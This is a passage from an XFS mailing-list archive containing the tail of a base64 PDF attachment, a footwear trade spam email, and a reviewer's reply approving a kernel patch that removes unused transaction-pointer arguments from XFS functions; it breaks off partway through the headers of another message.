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 VAYFFJP5KomKXR3ExD7ZUbFLZ0zsExYVu5TExC7KMWl4n+b2IZgo7ufy1RduPO5rNbhWIU7hvuav tutxXwmyG8H94TM8B7gvlEdvIYMQLGe6ey5opIpfrFEmXOQzvM2cJ+r4fi2XZnDFCBN38nZtr3L+ 7VrY3nDyHUQDuScvRZh7RDlzd16LLEJ4wMxh7pHZzF35KU9wjy+9SdwzLtNT3JMX9r7bKe6JOOC5 x0uD3BPTdNzjpUHuiWh67onZJMyJKDvuCZqlyglreu6h6Ea4J6bsuIeUI9wTUfbcE1swAV1E2XEP WZ7EPdFqO+Iet8kmck9uPxveYa1Sw89jcJn355wsWuHPjfUV7YSR8u98ckUd9ihU/2GTVP9OGngW fGzTbodpNnFoxKbfOU56+FGCkcFuI02ySaPDZmnbTVtqtwunWfajI5b9np2w4G4LTzLbUUXQLG14 X0/Hn44YW6b9P82yHx2x7NHCWzbPh7oDj0mWaXTYMkHNtCR3yDPNsh8dsexxyq95Ik6FDXvpJEQ5 MfaZ7x7hUtPXAdnvHuFp5JNs/uv+eOk+4g8lbL9nEBo7/4BE8jt+oQd7Z7+CoWa/Xn9OPrZPny/f btcP1eaJvd+mIuPZdxnXIjffZUXKrsHSHX5J2a5e0Nebfdxtv+G3M6Tv3356+1FnUlLf+P+dZwgM CmVuZHN0cmVhbQplbmRvYmoKCjYgMCBvYmoKPDwKL1R5cGUgL1BhZ2UKL1BhcmVudCA0IDAgUgov TWVkaWFCb3ggWyAwIDAgNjEyIDc5MiBdCi9SZXNvdXJjZXMgPDwKL0ZvbnQgPDwKL0YxNSA4IDAg UgovRjE2IDExIDAgUgovRjE3IDE0IDAgUgovRjE4IDE3IDAgUgovRjE5IDIwIDAgUgovRjIwIDIz IDAgUgo+PgovWE9iamVjdCA8PAovSW03IDcgMCBSCj4+Ci9Qcm9jU2V0IFsvUERGIC9UZXh0IC9J bWFnZUIgL0ltYWdlQ10gPj4KL0NvbnRlbnRzIDI2IDAgUgo+PgplbmRvYmoKCjQgMCBvYmoKPDwK L1R5cGUgL1BhZ2VzCi9LaWRzIFsKNiAwIFIKXQovQ291bnQgMQo+PgplbmRvYmoKCjEwIDAgb2Jq Cjw8Ci9UeXBlIC9Gb250RGVzY3JpcHRvcgovQXNjZW50IDg1MQovQ2FwSGVpZ2h0IDY3MwovRGVz Y2VudCAtMzI3Ci9GbGFncyAzMgovRm9udEJCb3ggWzAgLTMyNyAxMTE2IDg1MV0KL0l0YWxpY0Fu Z2xlIDAKL1N0ZW1WIDAKL0ZvbnROYW1lIC9GcmVlc3R5bGVTY3JpcHQtUmVndWxhcgo+PgplbmRv YmoKCjggMCBvYmoKPDwKL1R5cGUgL0ZvbnQKL1N1YnR5cGUgL1RydWVUeXBlCi9CYXNlRm9udCAv RnJlZXN0eWxlU2NyaXB0LVJlZ3VsYXIKL0VuY29kaW5nIC9XaW5BbnNpRW5jb2RpbmcKL0ZpcnN0 Q2hhciAwCi9MYXN0Q2hhciAyNTUKL0ZvbnREZXNjcmlwdG9yIDEwIDAgUgovV2lkdGhzIDkgMCBS Cj4+CmVuZG9iagoKMTMgMCBvYmoKPDwKL1R5cGUgL0ZvbnREZXNjcmlwdG9yCi9Bc2NlbnQgODkx Ci9DYXBIZWlnaHQgNzg0Ci9EZXNjZW50IC0yMTYKL0ZsYWdzIDM0Ci9Gb250QkJveCBbMCAtMjE2 IDI1NjggODkxXQovSXRhbGljQW5nbGUgMAovU3RlbVYgMAovRm9udE5hbWUgL1RpbWVzTmV3Um9t YW5QU01UCj4+CmVuZG9iagoKMTEgMCBvYmoKPDwKL1R5cGUgL0ZvbnQKL1N1YnR5cGUgL1RydWVU eXBlCi9CYXNlRm9udCAvVGltZXNOZXdSb21hblBTTVQKL0VuY29kaW5nIC9XaW5BbnNpRW5jb2Rp bmcKL0ZpcnN0Q2hhciAwCi9MYXN0Q2hhciAyNTUKL0ZvbnREZXNjcmlwdG9yIDEzIDAgUgovV2lk dGhzIDEyIDAgUgo+PgplbmRvYmoKCjE2IDAgb2JqCjw8Ci9UeXBlIC9Gb250RGVzY3JpcHRvcgov QXNjZW50IDg5MQovQ2FwSGVpZ2h0IDc4NAovRGVzY2VudCAtMjE2Ci9GbGFncyAzNAovRm9udEJC b3ggWzAgLTIxNiAyNTU4IDg5MV0KL0l0YWxpY0FuZ2xlIDAKL1N0ZW1WIDAKL0ZvbnROYW1lIC9U aW1lc05ld1JvbWFuUFMtQm9sZE1UCj4+CmVuZG9iagoKMTQgMCBvYmoKPDwKL1R5cGUgL0ZvbnQK L1N1YnR5cGUgL1RydWVUeXBlCi9CYXNlRm9udCAvVGltZXNOZXdSb21hblBTLUJvbGRNVAovRW5j b2RpbmcgL1dpbkFuc2lFbmNvZGluZwovRmlyc3RDaGFyIDAKL0xhc3RDaGFyIDI1NQovRm9udERl c2NyaXB0b3IgMTYgMCBSCi9XaWR0aHMgMTUgMCBSCj4+CmVuZG9iagoKMTkgMCBvYmoKPDwKL1R5 cGUgL0ZvbnREZXNjcmlwdG9yCi9Bc2NlbnQgODkxCi9DYXBIZWlnaHQgNzg0Ci9EZXNjZW50IC0y MTYKL0ZsYWdzIDk4Ci9Gb250QkJveCBbMCAtMjE2IDE3NTMgODkxXQovSXRhbGljQW5nbGUgMAov U3RlbVYgMAovRm9udE5hbWUgL1RpbWVzTmV3Um9tYW5QUy1Cb2xkSXRhbGljTVQKPj4KZW5kb2Jq CgoxNyAwIG9iago8PAovVHlwZSAvRm9udAovU3VidHlwZSAvVHJ1ZVR5cGUKL0Jhc2VGb250IC9U aW1lc05ld1JvbWFuUFMtQm9sZEl0YWxpY01UCi9FbmNvZGluZyAvV2luQW5zaUVuY29kaW5nCi9G aXJzdENoYXIgMAovTGFzdENoYXIgMjU1Ci9Gb250RGVzY3JpcHRvciAxOSAwIFIKL1dpZHRocyAx OCAwIFIKPj4KZW5kb2JqCgoyMiAwIG9iago8PAovVHlwZSAvRm9udERlc2NyaXB0b3IKL0FzY2Vu dCA5MTcKL0NhcEhlaWdodCA3ODMKL0Rlc2NlbnQgLTIxNwovRmxhZ3MgMzIKL0ZvbnRCQm94IFsw IC0yMTcgMTI2NCA5MTddCi9JdGFsaWNBbmdsZSAwCi9TdGVtViAwCi9Gb250TmFtZSAvRnJhbmts aW5Hb3RoaWMtRGVtaUNvbmQKPj4KZW5kb2JqCgoyMCAwIG9iago8PAovVHlwZSAvRm9udAovU3Vi dHlwZSAvVHJ1ZVR5cGUKL0Jhc2VGb250IC9GcmFua2xpbkdvdGhpYy1EZW1pQ29uZAovRW5jb2Rp bmcgL1dpbkFuc2lFbmNvZGluZwovRmlyc3RDaGFyIDAKL0xhc3RDaGFyIDI1NQovRm9udERlc2Ny aXB0b3IgMjIgMCBSCi9XaWR0aHMgMjEgMCBSCj4+CmVuZG9iagoKMjUgMCBvYmoKPDwKL1R5cGUg L0ZvbnREZXNjcmlwdG9yCi9Bc2NlbnQgODI4Ci9DYXBIZWlnaHQgODE2Ci9EZXNjZW50IC0xODQK L0ZsYWdzIDMyCi9Gb250QkJveCBbMCAtMTg0IDc1MyA4MjhdCi9JdGFsaWNBbmdsZSAwCi9TdGVt ViAwCi9Gb250TmFtZSAvUGxheWJpbGwKPj4KZW5kb2JqCgoyMyAwIG9iago8PAovVHlwZSAvRm9u dAovU3VidHlwZSAvVHJ1ZVR5cGUKL0Jhc2VGb250IC9QbGF5YmlsbAovRW5jb2RpbmcgL1dpbkFu c2lFbmNvZGluZwovRmlyc3RDaGFyIDAKL0xhc3RDaGFyIDI1NQovRm9udERlc2NyaXB0b3IgMjUg MCBSCi9XaWR0aHMgMjQgMCBSCj4+CmVuZG9iagoKNSAwIG9iagpudWxsCmVuZG9iagoKeHJlZgow IDI3CjAwMDAwMDAwMDAgNjU1MzUgZiAKMDAwMDAxMTY2NCAwMDAwMCBuIAowMDAwMDAwMDE1IDAw MDAwIG4gCjAwMDAwMTE2OTUgMDAwMDAgbiAKMDAwMDAxNjY5MCAwMDAwMCBuIAowMDAwMDE4ODk3 IDAwMDAwIG4gCjAwMDAwMTY0MzUgMDAwMDAgbiAKMDAwMDAwMDE3NyAwMDAwMCBuIAowMDAwMDE2 OTMzIDAwMDAwIG4gCjAwMDAwMDU3MzQgMDAwMDAgbiAKMDAwMDAxNjc1MCAwMDAwMCBuIAowMDAw MDE3Mjg5IDAwMDAwIG4gCjAwMDAwMDY3MTggMDAwMDAgbiAKMDAwMDAxNzExMiAwMDAwMCBuIAow MDAwMDE3NjQ2IDAwMDAwIG4gCjAwMDAwMDc3MDYgMDAwMDAgbiAKMDAwMDAxNzQ2NCAwMDAwMCBu IAowMDAwMDE4MDE0IDAwMDAwIG4gCjAwMDAwMDg2OTkgMDAwMDAgbiAKMDAwMDAxNzgyNiAwMDAw MCBuIAowMDAwMDE4MzgzIDAwMDAwIG4gCjAwMDAwMDk2ODggMDAwMDAgbiAKMDAwMDAxODIwMCAw MDAwMCBuIAowMDAwMDE4NzMxIDAwMDAwIG4gCjAwMDAwMTA2ODEgMDAwMDAgbiAKMDAwMDAxODU2 NCAwMDAwMCBuIAowMDAwMDExNzQ1IDAwMDAwIG4gCnRyYWlsZXIKPDwKL1NpemUgMjcKL1Jvb3Qg MyAwIFIKL0luZm8gMiAwIFIKL0lEWzwwZWQwMTY3OGY3MThlMGEzZDhkOTQ5MmI4YjUyNDQwZj48 MGVkMDE2NzhmNzE4ZTBhM2Q4ZDk0OTJiOGI1MjQ0MGY+XQo+PgpzdGFydHhyZWYKMTg5MTgKJSVF T0YK --=_fb281d260ea6e85ba187ae0828545b28-- From mould50@topeasy23.eicp.net Mon Mar 31 07:16:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_MESSAGE,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D486529DF8 for ; Mon, 31 Mar 2014 07:16:35 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id A175A8F8039 for ; Mon, 31 Mar 2014 05:16:26 -0700 (PDT) X-ASG-Debug-ID: 1396268172-04bdf05dacb84180001-NocioJ Received: from topeasy23.eicp.net ([106.4.167.211]) by cuda.sgi.com with SMTP id 1r5n0uhKlHnozanv for ; Mon, 31 Mar 2014 05:16:16 -0700 (PDT) X-Barracuda-Envelope-From: mould50@topeasy23.eicp.net X-Barracuda-Apparent-Source-IP: 106.4.167.211 Received: from IB9PB5LSP6UQA2H[127.0.0.1] by IB9PB5LSP6UQA2H[127.0.0.1] (SMTPD32); Mon, 31 Mar 2014 19:36:29 +0800 From: "mould50@topeasy23.eicp.net" Subject: Able to provide some stability running shoes2014-03-31 19:36:29 To: "xfs" X-ASG-Orig-Subj: Able to provide some stability running shoes2014-03-31 19:36:29 MIME-Version: 1.0 Sender: mould50@topeasy23.eicp.net Reply-To: sandals33@163.com Date: Mon, 31 Mar 2014 19:36:29 +0800 X-Priority: 3 X-DNSRBL: X-MAIL: PS-MAM01.PSheng.com q9QDEkb8018968 X-Mailer: Foxmail 7.0.1.91[cn] Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Barracuda-Connect: UNKNOWN[106.4.167.211] X-Barracuda-Start-Time: 1396268172 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.24 X-Barracuda-Spam-Status: No, SCORE=0.24 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MIME_HTML_ONLY, MISSING_MID, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4454 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Message-Id: <20140331121625.B667EA42176@cuda.sgi.com>

Hey guy,  

Rain trading here,exporting promotional products with good quality and low price.
Call me,let's talk details.
Rgds,

Rain ,Sales Manager
Relance Footwear CO., LTD
Address:6/F Tenglong Plaza Quanan Road Jinjiang Fujian China 362200
Phone: +86 595 8566 8078
Fax: +86 595 8567 2718

From bfoster@redhat.com Mon Mar 31 08:09:43 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1F43E7F63 for ; Mon, 31 Mar 2014 08:09:43 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 016448F8037 for ; Mon, 31 Mar 2014 06:09:39 -0700 (PDT) X-ASG-Debug-ID: 1396271375-04cb6c5677b610f0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ATIL4hWIQaWblfMh for ; Mon, 31 Mar 2014 06:09:35 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2VD9YcB030751 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 31 Mar 2014 09:09:34 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2VD9X4D025726; Mon, 31 Mar 2014 09:09:33 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 885DD123C1C; Mon, 31 Mar 2014 09:09:32 -0400 (EDT) Date: Mon, 31 Mar 2014 09:09:32 -0400 From: Brian Foster To: Eric Sandeen Cc: xfs-oss Subject: Re: [PATCH] xfs: remove unused transaction pointer args Message-ID: <20140331130932.GA63718@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH] xfs: remove unused transaction pointer args References: <53362976.3060101@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <53362976.3060101@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1396271375 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Mar 28, 2014 at 09:01:26PM -0500, Eric Sandeen wrote: > Several functions pass a transaction pointer around, > but it's never used in those callchains. Remove it. > > Signed-off-by: Eric Sandeen > --- > > diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c > index 152543c..b308097 100644 > --- a/fs/xfs/xfs_bmap.c > +++ b/fs/xfs/xfs_bmap.c > @@ -1675,7 +1675,6 @@ xfs_bmap_isaeof( > */ > int > xfs_bmap_last_offset( > - struct xfs_trans *tp, > struct xfs_inode *ip, > xfs_fileoff_t *last_block, > int whichfork) Seems Ok to me, but it looks like you could also kill the tp param for xfs_bmap_last_extent(). I don't see any callers that don't pass NULL... Brian > diff --git a/fs/xfs/xfs_bmap.h b/fs/xfs/xfs_bmap.h > index 33b41f3..52ad38d 100644 > --- a/fs/xfs/xfs_bmap.h > +++ b/fs/xfs/xfs_bmap.h > @@ -146,8 +146,8 @@ int xfs_bmap_first_unused(struct xfs_trans *tp, struct xfs_inode *ip, > xfs_extlen_t len, xfs_fileoff_t *unused, int whichfork); > int xfs_bmap_last_before(struct xfs_trans *tp, struct xfs_inode *ip, > xfs_fileoff_t *last_block, int whichfork); > -int xfs_bmap_last_offset(struct xfs_trans *tp, struct xfs_inode *ip, > - xfs_fileoff_t *unused, int whichfork); > +int xfs_bmap_last_offset(struct xfs_inode *ip, xfs_fileoff_t *unused, > + int whichfork); > int xfs_bmap_one_block(struct xfs_inode *ip, int whichfork); > int xfs_bmap_read_extents(struct xfs_trans *tp, struct xfs_inode *ip, > int whichfork); > diff --git a/fs/xfs/xfs_dir2.c b/fs/xfs/xfs_dir2.c > index ce16ef0..7575a3b 100644 > --- a/fs/xfs/xfs_dir2.c > +++ b/fs/xfs/xfs_dir2.c > @@ -230,11 +230,11 @@ xfs_dir_createname( > > if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) > rval = xfs_dir2_sf_addname(&args); > - else if ((rval = xfs_dir2_isblock(tp, dp, &v))) > + else if ((rval = xfs_dir2_isblock(dp, &v))) > return rval; > else if (v) > rval = xfs_dir2_block_addname(&args); > - else if ((rval = xfs_dir2_isleaf(tp, dp, &v))) > + else if ((rval = xfs_dir2_isleaf(dp, &v))) > return rval; > else if (v) > rval = xfs_dir2_leaf_addname(&args); > @@ -303,11 +303,11 @@ xfs_dir_lookup( > > if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) > rval = xfs_dir2_sf_lookup(&args); > - else if ((rval = xfs_dir2_isblock(tp, dp, &v))) > + else if ((rval = xfs_dir2_isblock(dp, &v))) > return rval; > else if (v) > rval = xfs_dir2_block_lookup(&args); > - else if ((rval = xfs_dir2_isleaf(tp, dp, &v))) > + else if ((rval = xfs_dir2_isleaf(dp, &v))) > return rval; > else if (v) > rval = xfs_dir2_leaf_lookup(&args); > @@ -360,11 +360,11 @@ xfs_dir_removename( > > if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) > rval = xfs_dir2_sf_removename(&args); > - else if ((rval = xfs_dir2_isblock(tp, dp, &v))) > + else if ((rval = xfs_dir2_isblock(dp, &v))) > return rval; > else if (v) > rval = xfs_dir2_block_removename(&args); > - else if ((rval = xfs_dir2_isleaf(tp, dp, &v))) > + else if ((rval = xfs_dir2_isleaf(dp, &v))) > return rval; > else if (v) > rval = xfs_dir2_leaf_removename(&args); > @@ -410,11 +410,11 @@ xfs_dir_replace( > > if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) > rval = xfs_dir2_sf_replace(&args); > - else if ((rval = xfs_dir2_isblock(tp, dp, &v))) > + else if ((rval = xfs_dir2_isblock(dp, &v))) > return rval; > else if (v) > rval = xfs_dir2_block_replace(&args); > - else if ((rval = xfs_dir2_isleaf(tp, dp, &v))) > + else if ((rval = xfs_dir2_isleaf(dp, &v))) > return rval; > else if (v) > rval = xfs_dir2_leaf_replace(&args); > @@ -456,11 +456,11 @@ xfs_dir_canenter( > > if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) > rval = xfs_dir2_sf_addname(&args); > - else if ((rval = xfs_dir2_isblock(tp, dp, &v))) > + else if ((rval = xfs_dir2_isblock(dp, &v))) > return rval; > else if (v) > rval = xfs_dir2_block_addname(&args); > - else if ((rval = xfs_dir2_isleaf(tp, dp, &v))) > + else if ((rval = xfs_dir2_isleaf(dp, &v))) > return rval; > else if (v) > rval = xfs_dir2_leaf_addname(&args); > @@ -525,7 +525,6 @@ xfs_dir2_grow_inode( > */ > int > xfs_dir2_isblock( > - xfs_trans_t *tp, > xfs_inode_t *dp, > int *vp) /* out: 1 is block, 0 is not block */ > { > @@ -534,7 +533,7 @@ xfs_dir2_isblock( > int rval; > > mp = dp->i_mount; > - if ((rval = xfs_bmap_last_offset(tp, dp, &last, XFS_DATA_FORK))) > + if ((rval = xfs_bmap_last_offset(dp, &last, XFS_DATA_FORK))) > return rval; > rval = XFS_FSB_TO_B(mp, last) == mp->m_dirblksize; > ASSERT(rval == 0 || dp->i_d.di_size == mp->m_dirblksize); > @@ -547,7 +546,6 @@ xfs_dir2_isblock( > */ > int > xfs_dir2_isleaf( > - xfs_trans_t *tp, > xfs_inode_t *dp, > int *vp) /* out: 1 is leaf, 0 is not leaf */ > { > @@ -556,7 +554,7 @@ xfs_dir2_isleaf( > int rval; > > mp = dp->i_mount; > - if ((rval = xfs_bmap_last_offset(tp, dp, &last, XFS_DATA_FORK))) > + if ((rval = xfs_bmap_last_offset(dp, &last, XFS_DATA_FORK))) > return rval; > *vp = last == mp->m_dirleafblk + (1 << mp->m_sb.sb_dirblklog); > return 0; > diff --git a/fs/xfs/xfs_dir2.h b/fs/xfs/xfs_dir2.h > index cec70e0..64a6b19 100644 > --- a/fs/xfs/xfs_dir2.h > +++ b/fs/xfs/xfs_dir2.h > @@ -142,8 +142,8 @@ extern int xfs_dir2_sf_to_block(struct xfs_da_args *args); > /* > * Interface routines used by userspace utilities > */ > -extern int xfs_dir2_isblock(struct xfs_trans *tp, struct xfs_inode *dp, int *r); > -extern int xfs_dir2_isleaf(struct xfs_trans *tp, struct xfs_inode *dp, int *r); > +extern int xfs_dir2_isblock(struct xfs_inode *dp, int *r); > +extern int xfs_dir2_isleaf(struct xfs_inode *dp, int *r); > extern int xfs_dir2_shrink_inode(struct xfs_da_args *args, xfs_dir2_db_t db, > struct xfs_buf *bp); > > diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c > index ae47ec6..f8170bc 100644 > --- a/fs/xfs/xfs_dir2_leaf.c > +++ b/fs/xfs/xfs_dir2_leaf.c > @@ -1707,7 +1707,7 @@ xfs_dir2_node_to_leaf( > /* > * Get the last offset in the file. > */ > - if ((error = xfs_bmap_last_offset(tp, dp, &fo, XFS_DATA_FORK))) { > + if ((error = xfs_bmap_last_offset(dp, &fo, XFS_DATA_FORK))) { > return error; > } > fo -= mp->m_dirblkfsbs; > diff --git a/fs/xfs/xfs_dir2_node.c b/fs/xfs/xfs_dir2_node.c > index 48c7d18..807946d 100644 > --- a/fs/xfs/xfs_dir2_node.c > +++ b/fs/xfs/xfs_dir2_node.c > @@ -1726,7 +1726,7 @@ xfs_dir2_node_addname_int( > if (dbno == -1) { > xfs_fileoff_t fo; /* freespace block number */ > > - if ((error = xfs_bmap_last_offset(tp, dp, &fo, XFS_DATA_FORK))) > + if ((error = xfs_bmap_last_offset(dp, &fo, XFS_DATA_FORK))) > return error; > lastfbno = xfs_dir2_da_to_db(mp, (xfs_dablk_t)fo); > fbno = ifbno; > diff --git a/fs/xfs/xfs_dir2_readdir.c b/fs/xfs/xfs_dir2_readdir.c > index aead369..a18000f 100644 > --- a/fs/xfs/xfs_dir2_readdir.c > +++ b/fs/xfs/xfs_dir2_readdir.c > @@ -687,7 +687,7 @@ xfs_readdir( > lock_mode = xfs_ilock_data_map_shared(dp); > if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) > rval = xfs_dir2_sf_getdents(dp, ctx); > - else if ((rval = xfs_dir2_isblock(NULL, dp, &v))) > + else if ((rval = xfs_dir2_isblock(dp, &v))) > ; > else if (v) > rval = xfs_dir2_block_getdents(dp, ctx); > diff --git a/fs/xfs/xfs_iomap.c b/fs/xfs/xfs_iomap.c > index 22d1cbe..2b2739c 100644 > --- a/fs/xfs/xfs_iomap.c > +++ b/fs/xfs/xfs_iomap.c > @@ -734,7 +734,7 @@ xfs_iomap_write_allocate( > */ > nimaps = 1; > end_fsb = XFS_B_TO_FSB(mp, XFS_ISIZE(ip)); > - error = xfs_bmap_last_offset(NULL, ip, &last_block, > + error = xfs_bmap_last_offset(ip, &last_block, > XFS_DATA_FORK); > if (error) > goto trans_cancel; > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From yuzhan@hgnb.com.cn Mon Mar 31 08:17:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.0 required=5.0 tests=DEAR_SOMETHING,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0F81729E05 for ; Mon, 31 Mar 2014 08:17:14 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B28638F804B for ; Mon, 31 Mar 2014 06:17:11 -0700 (PDT) X-ASG-Debug-ID: 1396271824-04bdf05dabb87bf0001-NocioJ Received: from m21058.qiye.163.com (ec2-176-34-53-178.ap-northeast-1.compute.amazonaws.com [176.34.53.178]) by cuda.sgi.com with ESMTP id 